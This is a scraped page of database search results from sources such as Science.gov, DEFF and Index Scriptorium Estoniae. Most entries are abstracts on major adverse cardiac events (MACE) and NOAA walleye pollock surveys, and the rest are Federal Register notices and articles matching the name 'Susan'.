19. Gulf of Alaska Acoustic-Trawl Survey of Walleye Pollock (DY1602, EK60) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 20. Coronary artery disease is associated with an increased mortality rate following video-assisted thoracoscopic lobectomy DEFF Research Database (Denmark) Sandri, Alberto; Petersen, Rene Horsleben; Decaluwé, Herbert 2017-01-01 OBJECTIVE: To compare the incidence of major adverse cardiac events (MACE) and mortality following video-assisted thoracoscopic surgery (VATS) lobectomy in patients with and without coronary artery disease (CAD). METHODS: Multicentre retrospective analysis of 1699 patients undergoing VATS lobectomy... 1. Eastern Bering Sea Acoustic-Trawl Survey of Walleye Pollock (DY1006, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of the Alaska Fisheries Science Center (AFSC; NOAA National Marine Fisheries Service) conducted... 2. Acoustic-Trawl Survey of Walleye Pollock on the U.S. and Russian Bering Sea Shelf (DY0909, ME70) Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) program of NOAA National Marine Fisheries Service (NMFS), Alaska Fisheries Science Center (AFSC)... 3. DY1207 Bering Sea ME70 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center (AFSC) have conducted summer surveys to... 4. Long-term major adverse cardiovascular events and quality of life after coronary angiography in elderly patients with acute coronary syndrome. Science.gov (United States) Sigurjonsdottir, R; Barywani, S; Albertsson, P; Fu, M 2016-11-01 Although the elderly comprise the majority of acute coronary syndrome (ACS) patients, limited data exist on major adverse cardiovascular events (MACEs) and quality of life (QoL). To study MACEs and QoL prospectively in ACS patients >70years referred for coronary angiography. A prospective observational study that included ACS patients >70years undergoing coronary angiography. The outcomes were MACEs and QoL 3years after inclusion. MACEs were defined as death, recurrent ACS, new-onset of heart failure and repeated revascularization by coronary artery bypass grafting (CABG) or percutaneous coronary intervention (PCI). A QoL questionnaire was completed by the patients along with a physical examination and a personal interview at the 3-year follow-up. Multivariate analysis was performed to identify the predictors for MACEs. In total, 138 patients (mean age 78.8±3.8years) with ACS were included in the study. Mean follow-up was 1196±296days. In all, 42% of the patients had MACEs and 25% had post-ACS heart failure. The mortality rate was 11%. After adjusting for significant cardiovascular risk factors, the following factors were significantly associated with MACEs: Age, high-sensitive troponin T (hsTNT), use of diuretics and reduced left ventricular ejection fraction (LVEF). Furthermore, the QoL evaluated with SF-36 in survivors from ACS at the end of study was similar to the QoL in an age-matched healthy Swedish population. In this prospective study on elderly ACS patients MACEs still occurred in 42% of the cases (despite low mortality and good QoL), with post-ACS heart failure as the most important event. Copyright © 2016 Elsevier Ireland Ltd. All rights reserved. 5. Assessment of DoD’s Central Identification Lab and the Feasibility of Increasing Identification Rates Science.gov (United States) 2009-06-01 Lab and the Feasibility of Increasing Identification Rates David R. Graham Ashley N. Bybee Susan L. Clark-Sestak Michael S. Finnin Approved for public...Feasibility of Increasing Identification Rates David R. Graham Ashley N. Bybee Susan L. Clark-Sestak Michael S. Finnin iii PREFACE This study was...6 . A U TH O R ( S ) 5 d . P R O JE C T N O. David R. Graham, Ashley N. Bybee , Susan L. Clark-Sestak, Michael S. Finnin 5 e . TAS K N O 6. Left ventricular long axis function assessed during cine-cardiovascular magnetic resonance is an independent predictor of adverse cardiac events. Science.gov (United States) Rangarajan, Vibhav; Chacko, Satish Jacob; Romano, Simone; Jue, Jennifer; Jariwala, Nikhil; Chung, Jaehoon; Farzaneh-Far, Afshin 2016-06-07 Left ventricular pump function requires a complex interplay involving myocardial fibers orientated in the longitudinal, oblique and circumferential directions. Long axis dysfunction appears to be an early marker for a number of pathological states. We hypothesized that mitral annular plane systolic excursion (MAPSE) measured during cine-cardiovascular magnetic resonance (CMR) reflects changes in long axis function and may be an early marker for adverse cardiovascular outcomes. The aims of this study were therefore: 1) To assess the feasibility and reproducibility of MAPSE measurements during routine cine-CMR; and 2) To assess whether MAPSE, as a surrogate for long axis function, is a predictor of major adverse cardiovascular events (MACE). Four hundred consecutive patients undergoing CMR were prospectively enrolled. MAPSE was measured in the 4-chamber cine view. Patients were prospectively followed for major adverse cardiac events (MACE) - death, non-fatal myocardial infarction, hospitalization for heart failure or unstable angina, and late revascularization. Cox proportional hazards regression modeling was used to identify factors independently associated with MACE. Net reclassification improvement (NRI) was calculated to assess whether addition of MAPSE resulted in improved risk reclassification of MACE. Seventy-two MACE occurred during a median follow-up of 14.5 months. By Kaplan-Meier analysis, patients with lateral MAPSE cine-CMR is an independent predictor of MACE. 7. [Analysis of triterpenoids in Ganoderma lucidum by microwave-assisted continuous extraction]. Science.gov (United States) Lu, Yan-fang; An, Jing; Jiang, Ye 2015-04-01 For further improving the extraction efficiency of microwave extraction, a microwave-assisted contijuous extraction (MACE) device has been designed and utilized. By contrasting with the traditional methods, the characteristics and extraction efficiency of MACE has also been studied. The method was validated by the analysis of the triterpenoids in Ganoderma lucidum. The extraction conditions of MACE were: using 95% ethanol as solvent, microwave power 200 W and radiation time 14.5 min (5 cycles). The extraction results were subsequently compared with traditional heat reflux extraction ( HRE) , soxhlet extraction (SE), ultrasonic extraction ( UE) as well as the conventional microwave extraction (ME). For triterpenoids, the two methods based on the microwaves (ME and MACE) were in general capable of finishing the extraction in 10, 14.5 min, respectively, while other methods should consume 60 min and even more than 100 min. Additionally, ME can produce comparable extraction results as the classical HRE and higher extraction yield than both SE and UE, however, notably lower extraction yield than MASE. More importantly, the purity of the crud extract by MACE is far better than the other methods. MACE can effectively combine the advantages of microwave extraction and soxhlet extraction, thus enabling a more complete extraction of the analytes of TCMs in comparison with ME. And therefore makes the analytic result more accurate. It provides a novel, high efficient, rapid and reliable pretreatment technique for the analysis of TCMs, and it could potentially be extended to ingredient preparation or extracting techniques of TCMs. 8. The anxious heart in whose mind? A systematic review and meta-regression of factors associated with anxiety disorder diagnosis, treatment and morbidity risk in coronary heart disease. Science.gov (United States) Tully, Phillip J; Cosh, Suzanne M; Baumeister, Harald 2014-12-01 To (1) report the prognostic association between anxiety disorder subtypes and major adverse cardiac events (MACE), (2) report anxiety disorder prevalence in coronary heart disease (CHD), and (3) report the efficacy of anxiety disorder treatments in CHD. A comprehensive electronic database search was performed in November 2013 for studies reporting anxiety disorder prevalence according to structured interview in CHD samples or MACE, and randomized controlled trials (RCTs) comparing anxiety disorder treatment with placebo or usual care. From 4041 articles 42 samples were selected for extraction (8 for MACE prognosis, 39 for prevalence, no RCTs were eligible). Five generalized anxiety disorder (GAD) studies reported 883 MACE events (combined n=2851). There was a non-significant association between GAD and MACE (risk ratio=1.20, 95% CI .86-1.68, P=.28) however the effect size was highly significant in outpatient samples (adjusted hazard ratio=1.94, 95% CI 1.45-2.60, Pversus DSM-IV taxonomies. The paucity of extant anxiety disorder RCTs, alongside MACE risk for GAD outpatients, should stimulate further anxiety disorder intervention in CHD populations. Research should focus on depression and anxiety, thereby unraveling disorder specific and more generic pathways. Copyright © 2014 Elsevier Inc. All rights reserved. 9. Effects of tofacitinib on cardiovascular risk factors and cardiovascular outcomes based on phase III and long-term extension data in patients with plaque psoriasis. Science.gov (United States) Wu, Jashin J; Strober, Bruce E; Hansen, Peter R; Ahlehoff, Ole; Egeberg, Alexander; Qureshi, Abrar A; Robertson, Debbie; Valdez, Hernan; Tan, Huaming; Wolk, Robert 2016-11-01 Psoriasis is a systemic inflammatory condition that is associated with a higher risk of cardiovascular (CV) disease. Tofacitinib is being investigated as a treatment for psoriasis. We sought to evaluate the effects of tofacitinib on CV risk factors and major adverse CV events (MACEs) in patients with plaque psoriasis. Changes in select CV risk factors and the incidence rate (IR) of MACEs were evaluated in patients who were treated with tofacitinib. Tofacitinib treatment was associated with small, dose-dependent increases in total cholesterol, low-density lipoprotein (LDL), and high-density lipoprotein (HDL) cholesterol, while the total/HDL cholesterol ratio was unchanged. There were no changes in blood pressure and glycated hemoglobin levels; C-reactive protein levels decreased. The IRs of a MACE were low and similar for both tofacitinib doses. Among 3623 subjects treated with tofacitinib, the total patient-years of exposure was 5204, with a median follow-up of 527 days, and the IR of MACEs was 0.37 (95% confidence interval, 0.22-0.57) patients with events per 100 patient-years. There was relatively short follow-up time for patients who had MACEs. While treatment with tofacitinib is associated with a small increase in cholesterol levels, the total/HDL cholesterol ratio does not change, there are no unfavorable changes in several CV risk factors, and the incidence of MACEs is low. Copyright © 2016 American Academy of Dermatology, Inc. Published by Elsevier Inc. All rights reserved. 10. Resting heart rate associates with one-year risk of major adverse cardiovascular events in patients with acute coronary syndrome after percutaneous coronary intervention. Science.gov (United States) Wang, Shao-Li; Wang, Cheng-Long; Wang, Pei-Li; Xu, Hao; Du, Jian-Peng; Zhang, Da-Wu; Gao, Zhu-Ye; Zhang, Lei; Fu, Chang-Geng; Chen, Ke-Ji; Shi, Da-Zhuo 2016-03-01 The study was to access the association between resting heart rate (RHR) and one-year risk of major adverse cardiovascular events (MACE) in acute coronary syndrome (ACS) patients after percutaneous coronary intervention (PCI). Patients with ACS after PCI (n = 808) were prospectively followed-up for MACE. RHR was obtained from electrocardiogram. MACE was defined as a composite of cardiac death, nonfatal recurrent myocardial infarction, ischemic-driven revascularization, and ischemic stroke. The association between RHR and one-year risk of MACE was assessed using Cox proportional hazards regression model. Compared with patients with RHR >76 bpm, the adjusted hazard ratio (AHR) was 0.51 (95% confidence intervals [CI]: 0.23-1.14; P = 0.100) for patients with RHR 76 bpm were at higher risk of MACE during one-year follow-up compared with patients with RHR 61-76 bpm. An elevated RHR ≥ 61 bpm was associated with increased risk of one-year MACE in ACS patients. © 2015 by the Society for Experimental Biology and Medicine. 11. Anatomical criteria of malignancy by computed tomography angiography in patients with anomalous coronary arteries with an interarterial course Energy Technology Data Exchange (ETDEWEB) Ashrafpoor, Golmehr [Assistance Publique-Hopitaux de Paris, Hopital Europeen Georges Pompidou, Universite Paris Descartes, Department of Radiology, Cardiovascular Imaging Unit, Paris (France); Danchin, Nicolas [Assistance Publique-Hopitaux de Paris, Hopital Europeen Georges Pompidou, Universite Paris Descartes, Department of Cardiology, Paris (France); Houyel, Lucile; Belli, Emre [Centre Chirurgical Marie-Lannelongue, Department of Congenital Cardiac Surgery, Le Plessis-Robinson (France); Ramadan, Ramzi [Centre Chirurgical Marie-Lannelongue, Department of Cardiac Surgery, Le Plessis-Robinson (France); Paul, Jean-Francois [Institut Mutualiste Montsouris, Department of Radiology, Paris (France) 2014-10-11 We sought to determine the relation between major adverse cardiac events (MACE) and anatomical criteria assessed by coronary computed tomography angiography (CCTA) in patients with an anomalous coronary artery with an interarterial course (ACAIAC). We selected CCTA studies of patients with an ACAIAC from a database of 4,160 examinations and studied anatomical criteria according to the presence of prior MACE, defined as syncope, unstable angina, myocardial infarction and resuscitated sudden cardiac death. There were 19 patients (18 males) with an ACAIAC during the study period (incidence 0.46 %). Seven patients with prior MACE were younger (26 years vs 59 years, p < 0.001), had a smaller minimal lumen area (3.6 mm{sup 2} vs 9.0 mm{sup 2}, p = 0.001), a higher degree of area stenosis (57 % vs 24 %, p = 0.001), a longer interarterial course (14.7 vs 8.6 mm, p = 0.003) and a smaller proximal segment width (1.6 mm vs 2.5 mm, p = 0.02) compared with the 12 patients without prior MACE. All patients with MACE had the following concomitant anatomical characteristics: minimum lumen area ≤4 mm{sup 2}, an area stenosis ≥50 % and intra-arterial length >10 mm Prior MACE is associated with specific anatomical CCTA characteristics among patients with ACAIAC. CCTA may therefore contribute to distinguish patients at risk of adverse events. (orig.) 12. 75 FR 36356 - Announcement of Changes to the Membership of the Performance Review Board Science.gov (United States) 2010-06-25 ..., ITA (new). 4. Edward C. Yang, Senior Director, China Non-Market Economy Compliance Unit, ITA. 5. Joel... Management, OS. Dated: June 18, 2010. Susan Boggs, Director, Office of Staffing, Recruitment and... 13. 78 FR 19716 - International Consortium of Cardiovascular Registries Science.gov (United States) 2013-04-02 ... employees) is through Building 1 where routine security check procedures will be performed. For parking and... Internet access should contact Susan Monahan to register ( [email protected] or 301-796-5661... 14. Sexual Health Concerns in Patients with Cardiovascular Disease Science.gov (United States) ... Patient Page Sexual Health Concerns in Patients With Cardiovascular Disease Lindsey Rosman , John M. Cahill , Susan L. McCammon , ... and difficulty achieving and maintaining an erection. 2 Cardiovascular disease and its treatment may also affect a man’s ... 15. Resistance ja Rootsi turvaühiskond / Peeter Linnap Index Scriptorium Estoniae Linnap, Peeter, 1960- 2001-01-01 "Vastupanukunsti" näitus "The Path of Resistance : MoMa meets Moderna" Stockholmi Moodsa Kunsti Muuseumis, kuraatorid Susan Kismaric ja Joshua Siegel. Resistance'i kunsti raames käsitletakse ka nn. poliitilist kunsti 16. Air Force Follow-On Review. Protecting The Force: Lessons From Fort Hood Science.gov (United States) 2010-01-01 Demorah Hayes Mrs. Sherry Terrell Ms. Jeanne Shamburger Mr. Andrew Thayer Graphic Designers Mr. Daniel Armstrong Ms. Susan Fair Printing Specialists Ms. Ann Bailey Mrs. Nedra Looney Mrs. Vivian O’Neal 17. 78 FR 16675 - First Technology Transitions; Policy Task Force Workshop Science.gov (United States) 2013-03-18 ..., please submit name and company affiliation ahead of time by sending an email to susan[email protected] allow time to go through our security process. Lunch: Attendees may pre-order lunch, to be picked up by... 18. Is Children's Programming Improving? Science.gov (United States) Potter, Rosemary Lee 1979-01-01 Susan Futterman, a former teacher and early childhood specialist for Action for Children's Television, comments on changing formats for children's programs, as well as on the role of educators in using television as a learning vehicle. (Editor/KC) 19. 75 FR 15457 - Aquatic Nuisance Species Task Force Meeting Science.gov (United States) 2010-03-29 ...: http://anstaskforce.gov/meetings.php . FOR FURTHER INFORMATION CONTACT: Susan Mangin, Executive... on the ANS Task Force Web site at: http://anstaskforce.gov/meetings.php . Dated: March 19, 2010... 20. 77 FR 61019 - Aquatic Nuisance Species Task Force Meeting Science.gov (United States) 2012-10-05 ...: http://anstaskforce.gov/meetings.php . FOR FURTHER INFORMATION CONTACT: Susan Mangin, Executive... information are on the ANS Task Force Web site at: http://anstaskforce.gov/meetings.php . Accessibility... 1. 76 FR 15334 - Aquatic Nuisance Species Task Force Meeting Science.gov (United States) 2011-03-21 ... Task Force Web site at: http://anstaskforce.gov/meetings.php . FOR FURTHER INFORMATION CONTACT: Susan...: http://anstaskforce.gov/meetings.php . Dated: March 14, 2011. Jeffrey Underwood, Acting Assistant... 2. 76 FR 21741 - Emergency Access Advisory Committee; Announcement of Establishment, and of Members and Co... Science.gov (United States) 2011-04-18 ... Gallaudet University--Norman Williams Hearing, Speech & Deafness Center--Donna Platt Intrado, Inc.--John... Communications--Kevin Green, alternate Susan Sherwood Vonage Holding Corp.--Brendan Kasper Washington Parish, LA... 3. Governing how we care: contesting community and defining difference in U.S. public health programs National Research Council Canada - National Science Library Shaw, Susan J., Dr 2012-01-01 .... In Governing How We Care, medical anthropologist Susan Shaw examines the relationship between government and citizens using case studies of needle exchange and Welfare-to-Work programs to illustrate... 4. 78 FR 57675 - Notice of Passenger Facility Charge Approvals and Disapprovals Science.gov (United States) 2013-09-19 ... efficient off-road vehicle. DETERMINATION: Disapproved. Each project was determined to not meet the... credits. DECISION DATE: March 20, 2013. FOR FURTHER INFORMATION CONTACT: Susan Moore, Orlando Airports... 5. Kui sulg ei jookse... / Jaanus Noormets Index Scriptorium Estoniae Noormets, Jaanus 2003-01-01 Kuidas stsenarist Charlie Kaufman kirjutas stsenaariumi oma loomevaevadest Susan Orleani raamatu filmiks kirjutamisel : mängufilm "Kuidas kirjutada kassafilmi" ("Adaptation") : režissöör Spike Jonze : Ameerika Ühendriigid 2002 6. 76 FR 2905 - FY2011 Supplemental Funding for Brownfields Revolving Loan Fund (RLF) Grantees Science.gov (United States) 2011-01-18 ...- 3364, Fax (415) 972- 3364. EPA Region 10, Susan Morales, AK, ID, OR, WA... 1200 Sixth Avenue, Morales.... Dated: January 10, 2011. David R. Lloyd, Director, Office of Brownfields and Land Revitalization, Office... 7. Kui kapital veab alt, siis turvaliselt / Aleksander Tsapov Index Scriptorium Estoniae Tsapov, Aleksander 2006-01-01 Kuraatorinäitus "Kapital (see veab meid alt)" Tallinna Kunstihoones. Kuraator Simon Sheikh. Fia-Stina Sandlundi, Katya Sanderi, Oliver Ressleri, Ashley Hunti ja Susan Kelly&Stephen Mortoni töödest näitusel 8. 75 FR 59209 - Certain Coated Paper Suitable for High-Quality Print Graphics Using Sheet-Fed Presses from... Science.gov (United States) 2010-09-27 .... Lorentzen, Deputy Assistant Secretary for Import Administration, from Susan Kuhbach, Director, Office 1.... Provision of Standing Timber for Less Than Adequate Remuneration 2. Government Prohibition of Log Exports 3... 9. 75 FR 46938 - Ocean Transportation Intermediary License Applicants Science.gov (United States) 2010-08-04 ... Logistics LLC (NVO), 120 S. Woodland Blvd., 216, DeLand, FL 32720, Officers: Dietmar Lutte, Manager Member, (Qualifying Individual), Susan Lutte, Member, Application Type: New NVO License. Bridgeline Logistics..., (Qualifying Individual), Application Type: New OFF License. [[Page 46939 10. 77 FR 75143 - Submission for OMB Review; Comment Request Science.gov (United States) 2012-12-19 ... the Year, Excellence in Promoting Cultural and Ethnic Diversity (in honor of Secretary Ronald Brown), Excellence in Business Leadership, and the Susan Snow Cotter Award for Excellence in Ocean and Coastal... 11. 1. IV avati Tallinna Kunstihoone galeriis šoti videokunstinäitus "Nähtamatud väljad" Index Scriptorium Estoniae 2004-01-01 Kuraatorid Sarah Felton ja Su Grierson, osalevad kunstnikud Victoria Clare Bernie, Samantha Clark, Maria Doyle, S. Felton, S. Grierson, Belinda Guidi, Anne Bjerge Hansen, Metacorpus, Jane McInally, Rosalind Nashashibi, Susannah Silver ja Susan Sloan 12. Raamatututvustus / Rein Põder Index Scriptorium Estoniae Põder, Rein, 1943- 1995-01-01 Rousseau, Jean-Jacques. Üksildase uitaja mõtisklused; Hill, Susan. Proua de Winter; Kõrvemaast põhjarannani : Kuusalu kihelkonna kirjanduslik-kodulooline antoloogia / Koost. Helmut Elstrok; Tead.toim. Oskar Kuningas 13. Foundations of health psychology National Research Council Canada - National Science Library Friedman, Howard S; Silver, Roxane Cohen 2007-01-01 ... and Effective Treatment 9 Adjustment to Chronic Disease: Progress and Promise in Research Annette L. Stanton and Tracey A. Revenson 203 10 Aging and Health 234 Karen S. Rook, Susan T. Charles, and... 14. 77 FR 51845 - Qualification of Drivers; Exemption Applications; Diabetes Mellitus Science.gov (United States) 2012-08-27 .... Miska (MN), Susan L. Mosel (WI), Mark T. L. Owings (KS), Jacob D. Oxford (ID), Derek W. Palmer (MA), Robert D. Regavich (NJ), Jack W. Schlichting (MN), Lonnie H. Shere (WA), Craig A. Trimmer (OH), Lisa E... 15. 76 FR 57036 - Notice of Open Meeting of the Advisory Committee of the Export-Import Bank of the United States... Science.gov (United States) 2011-09-15 ..., and you may contact Susan Houser to be placed on an attendee list. If any person wishes auxiliary aids (such as a sign language interpreter) or other special accommodations, please contact, prior to... 16. 75 FR 29759 - Notice of Open Meeting of the Advisory Committee of the Export-Import Bank of the United States... Science.gov (United States) 2010-05-27 ... building, and you may contact Susan Houser to be placed on an attendee list. If any person wishes auxiliary aids (such as a sign language interpreter) or other special accommodations, please contact, prior to... 17. Eesti president Toomas H. Ilves Pennsylvania ülikooli ajakirjas / Airi Vaga Index Scriptorium Estoniae Vaga, Airi, 1940- 2008-01-01 University of Pennsylvania ajakirjas "The Pennsylvania Gazette" ilmunud artiklist "From Estonian Exile to Executive Office", autor Susan Frith - järjekordsest võimalusest tutvustada Eestit ja eestlasi USA ülikoolide kaudu 18. Ämbliku jäljed kivimüüril / Sigrid Saarep Index Scriptorium Estoniae Saarep, Sigrid, 1963- 2009-01-01 Suurbritannia paviljonis 53. Veneetsia kunstibiennaalil esinevad kunstnikud Steve McQueen, John Cale (Wales), Martin Boyce (Šotimaa) ja Susan MacWilliam (Põhja-Iirimaa). Videokunstnik Steve McQueeni filmist "Giardini" (2009) 19. 77 FR 64794 - Membership of the Economic Development Administration Performance Review Board Science.gov (United States) 2012-10-23 ... INFORMATION CONTACT: Ronda L. Holbrook, U.S. Department of Commerce, Human Resources Operations Center... Management, Minority Business Development Agency, career. Dated: October 11, 2012. Susan Boggs, Director, Office of Staffing, Recruitment and Classification, Department of Commerce Human Resources Operations... 20. African Journal of AIDS Research - Vol 13, No 4 (2014) African Journals Online (AJOL) Clemens Ley, Lloyd Leach, María Rato Barrio, Susan Bassett ... Charles Omondi Olang'o, Erick Nyambedha, Jens Aagaard-Hansen ... Bierhuizen, Arlinda Zango, Nienke Veldhuijzen, Fidelina Cumbe, Paul J Feldblum, Janneke van de Wijgert. 1. Investigation of manganese homeostasis in dogs with anaemia and ... African Journals Online (AJOL) Investigation of manganese homeostasis in dogs with anaemia and chronic enteropathy. Marisa da Fonseca Ferreira, Arielle Elizabeth Ann Aylor, Richard John Mellanby, Susan Mary Campbell, Adam George Gow ... 2. 78 FR 45538 - The Patient Preference Initiative: Incorporating Patient Preference Information Into the Medical... Science.gov (United States) 2013-07-29 ... beginning at 7 a.m. If you need special accommodations due to a disability, please contact Susan Monahan... within the Total Product Life Cycle regulatory paradigm? In what ways should it not be used? What... 3. 76 FR 72013 - Self-Regulatory Organizations; Municipal Securities Rulemaking Board; Notice of Filing of... Science.gov (United States) 2011-11-21 ...''); Colette J. Irwin-Knott, CIPFA, President, National Association of Independent Public Finance Advisors...''); and Susan Gaffney, Director, Federal Liaison Center, Government Finance Officers Association, dated... principles of trade, to foster cooperation and coordination with persons engaged in regulating, clearing... 4. AFRICOM: Does Location Matter? Science.gov (United States) 2009-03-01 Decision Model,” 242-244. 26 Susan Hesse Owen & Mark S. Daskin , “Strategic Facility Location: A Review,” European Journal of Operational Research...Susan Hesse & Mark S. Daskin . “Strategic Facility Location: A Review,” European Journal of Operational Research 111 (1998), 423-447. Paye-Layeleh...ES) N/ A 10. SPONSORING/MONITORING AGENCY REPORT NUMBER 11. SUPPLEMENTARY NOTES The views expressed in this thesis are those of the author and 5. The NATO SOF Air Wing: A Basing Decision Science.gov (United States) 2012-12-01 11 Susan Hesse Owen & Mark S. Daskin , “Strategic Facility Location: A Review,” European Journal of Operational Research 111, (1998), 423. 6 the...Journal of Travel Research 45, (2006):167–174. Owen, Susan Hesse and Daskin , Mark S. “Strategic Facility Location: A Review.” European Journal of...WING: A BASING DECISION by James M. Cox December 2012 Thesis Advisor: William Fox Second Reader: Brian Greenshields THIS PAGE 6. Guilt-Free War: Post-Traumatic Stress and an Ethical Framework for Battlefield Decisions Science.gov (United States) 2015-12-01 Susan Wolf, “ Moral Obligations and Social Command,” in Metaphysics and the Good: Themes from the Philosophy of Robert Merrihew Adams, edited by...1–18. Wolf, Susan. “ Moral Obligations and Social Command.” In Metaphysics and the Good: Themes from the Philosophy of Robert Merrihew Ad- ams, edited...Analysis of Recent Studies 5 Discussion of Various Approaches to Addressing Moral Injuries 7 Recommendations 17 Conclusion 19 Abbreviations 25 7. Measuring the Foundation of Homeland Security Science.gov (United States) 2007-03-01 Pirak Kevin Eack Susan Pyle Chuck Eaneff Joseph Saitta Susan Fernandez Shelly Schechter Helen Fitzpatrick Rick Schwein Jay...multiple disciplines. The scope of this literature review is to cast a broad net and then narrow to specific literature related to Homeland Security...Suez Canal. His successes as a planner, diplomat and promoter made him the most celebrated man in Europe. Because of these successes, De Lesseps 8. Critical Rare Earths, National Security, and U.S.-China Interactions: A Portfolio Approach to Dysprosium Policy Design Science.gov (United States) 2015-01-01 from Donald and Susan Rice , both funds which enabled me to focus on the dissertation. I thank Dean Susan Marquis for her dedication to the growth of...quota of 89,2000 tonnes (Table 2.2). The sprawling black market not only prevents Beijing’s efforts to bring the production under its levers to...yttrium are often used for pigmentation for consumer products such as paint and sunglasses. REE-based lasers are used for cosmetic , epidermal, and 9. Wanna play? DEFF Research Database (Denmark) Sanderhoff, Merete 2015-01-01 Part of the online publication series CODE \| WORDS. Technology and Theory in the Museum, edited by Ed Rodley (Peabody Essex Museum), Robert Stein (Dallas Museum of Art) and Susan Cairns (Baltimore Museum of Art)......Part of the online publication series CODE \| WORDS. Technology and Theory in the Museum, edited by Ed Rodley (Peabody Essex Museum), Robert Stein (Dallas Museum of Art) and Susan Cairns (Baltimore Museum of Art)... 10. Possible Regulatory Improvements of the American Housing Finance System DEFF Research Database (Denmark) Lunde, Jens 2018-01-01 Book review of: Susan M. Wachter and Joseph Tracy (eds.): Principles of Housing Finance Reform. PENN—University of Pennsylvania Press, Philadelphia, 282 pp, $65.00s, ISBN: 978-0-8122-4862-3......Book review of: Susan M. Wachter and Joseph Tracy (eds.): Principles of Housing Finance Reform. PENN—University of Pennsylvania Press, Philadelphia, 282 pp,$65.00s, ISBN: 978-0-8122-4862-3... 11. Characterizing Musculoskeletal Injury among Aeromedical Evacuation Personnel: An Observational Study Science.gov (United States) 2016-09-28 Jennifer Serres, PhD; Col Susan Dukes, PhD; Molly Wade, MS; Brittany Fouts, MS; Mandy Cowgill, MS; Daniel Pohlman, BS September 2016...CONTRACT NUMBER 5b. GRANT NUMBER 5c. PROGRAM ELEMENT NUMBER 6. AUTHOR(S) Jennifer Serres, Susan Dukes, Molly Wade, Brittany Fouts, Mandy... environment . 2.0 INTRODUCTION Musculoskeletal injuries (MSIs) result from the cumulative trauma associated with repetitive and physically 12. Adverse cardiac events in children with Williams syndrome undergoing cardiovascular surgery: An analysis of the Society of Thoracic Surgeons Congenital Heart Surgery Database. Science.gov (United States) Hornik, Christoph P; Collins, Ronnie Thomas; Jaquiss, Robert D B; Jacobs, Jeffrey P; Jacobs, Marshall L; Pasquali, Sara K; Wallace, Amelia S; Hill, Kevin D 2015-06-01 Patients with Williams syndrome (WS) undergoing cardiac surgery are at risk for major adverse cardiac events (MACE). Prevalence and risk factors for such events have not been well described. We sought to define frequency and risk of MACE in patients with WS using a multicenter clinical registry. We identified cardiac operations performed in patients with WS using the Society of Thoracic Surgeons Congenital Heart Surgery Database (2000-2012). Operations were divided into 4 groups: isolated supravalvular aortic stenosis, complex left ventricular outflow tract (LVOT), isolated right ventricular outflow tract (RVOT), and combined LVOT/RVOT procedures. The proportion of patients with MACE (in-hospital mortality, cardiac arrest, or postoperative mechanical circulatory support) was described and the association with preoperative factors was examined. Of 447 index operations (87 centers), median (interquartile range) age and weight at surgery were 2.4 years (0.6-7.4 years) and 10.6 kg (6.5-21.5 kg), respectively. Mortality occurred in 20 patients (5%). MACE occurred in 41 patients (9%), most commonly after combined LVOT/RVOT (18 out of 87; 21%) and complex LVOT (12 out of 131; 9%) procedures, but not after isolated RVOT procedures. Odds of MACE decreased with age (odds ratio [OR], 0.99; 95% confidence interval [CI], 0.98-0.99), weight (OR, 0.97; 95% CI, 0.93-0.99), but increased in the presence of any preoperative risk factor (OR, 2.08; 95% CI, 1.06-4.00), and in procedures involving coronary artery repair (OR, 5.37; 95% CI, 2.05-14.06). In this multicenter analysis, MACE occurred in 9% of patients with WS undergoing cardiac surgery. Demographic and operative characteristics were associated with risk. Further study is needed to elucidate mechanisms of MACE in this high-risk population. Copyright © 2015 The American Association for Thoracic Surgery. Published by Elsevier Inc. All rights reserved. 13. Reliability of the CARE rule and the HEART score to rule out an acute coronary syndrome in non-traumatic chest pain patients. Science.gov (United States) Moumneh, Thomas; Richard-Jourjon, Vanessa; Friou, Emilie; Prunier, Fabrice; Soulie-Chavignon, Caroline; Choukroun, Jacques; Mazet-Guilaumé, Betty; Riou, Jérémie; Penaloza, Andréa; Roy, Pierre-Marie 2018-03-02 In patients consulting in the Emergency Department for chest pain, a HEART score ≤ 3 has been shown to rule out an acute coronary syndrome (ACS) with a low risk of major adverse cardiac event (MACE) occurrence. A negative CARE rule (≤ 1) that stands for the first four elements of the HEART score may have similar rule-out reliability without troponin assay requirement. We aim to prospectively assess the performance of the CARE rule and of the HEART score to predict MACE in a chest pain population. Prospective two-center non-interventional study. Patients admitted to the ED for non-traumatic chest pain were included, and followed-up at 6 weeks. The main study endpoint was the 6-week rate of MACE (myocardial infarction, coronary angioplasty, coronary bypass, and sudden unexplained death). 641 patients were included, of whom 9.5% presented a MACE at 6 weeks. The CARE rule was negative for 31.2% of patients, and none presented a MACE during follow-up [0, 95% confidence interval: (0.0-1.9)]. The HEART score was ≤ 3 for 63.0% of patients, and none presented a MACE during follow-up [0% (0.0-0.9)]. With an incidence below 2% in the negative group, the CARE rule seemed able to safely rule out a MACE without any biological test for one-third of patients with chest pain and the HEART score for another third with a single troponin assay. 14. Differences in coronary artery disease by CT angiography between patients developing unstable angina pectoris vs. major adverse cardiac events Energy Technology Data Exchange (ETDEWEB) Schlett, Christopher L. [Cardiac MR PET CT Program, Department of Radiology, Massachusetts General Hospital, Harvard Medical School, Boston, MA (United States); Department of Diagnostic and Interventional Radiology, University Hospital Heidelberg (Germany); Nance, John W. Jr. [Heart and Vascular Center, Medical University of South Carolina, Charleston, SC (United States); The Russell H. Morgan Department of Radiology and Radiological Science, Johns Hopkins Hospital, Baltimore, MD (United States); Schoepf, U. Joseph, E-mail: [email protected] [Heart and Vascular Center, Medical University of South Carolina, Charleston, SC (United States); O’Brien, Terrence X. [Heart and Vascular Center, Medical University of South Carolina, Charleston, SC (United States); The Ralph H. Johnson Veterans Affairs Medical Center, Charleston, SC (United States); Ebersberger, Ullrich [Heart and Vascular Center, Medical University of South Carolina, Charleston, SC (United States); Department of Cardiology and Intensive Care Medicine, Heart Centre Munich-Bogenhausen, Munich (Germany); Headden, Gary F. [Heart and Vascular Center, Medical University of South Carolina, Charleston, SC (United States); Hoffmann, Udo [Cardiac MR PET CT Program, Department of Radiology, Massachusetts General Hospital, Harvard Medical School, Boston, MA 